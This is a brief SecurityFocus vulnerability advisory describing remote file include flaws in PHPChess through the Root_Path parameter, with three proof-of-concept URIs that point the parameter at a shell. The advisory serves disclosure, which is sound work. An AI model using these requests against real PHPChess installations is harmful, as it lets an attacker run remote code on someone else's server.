PHPChess Root_Path Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/skins/phpchess/layout_admin_cfg.php?Root_Path=Shell
http://www.example.com/skins/phpchess/layout_cfg.php?Root_Path=Shell
http://www.example.com/skins/phpchess/layout_t_top.php?Root_Path=Shell


 

Privacy Statement
Copyright 2010, SecurityFocus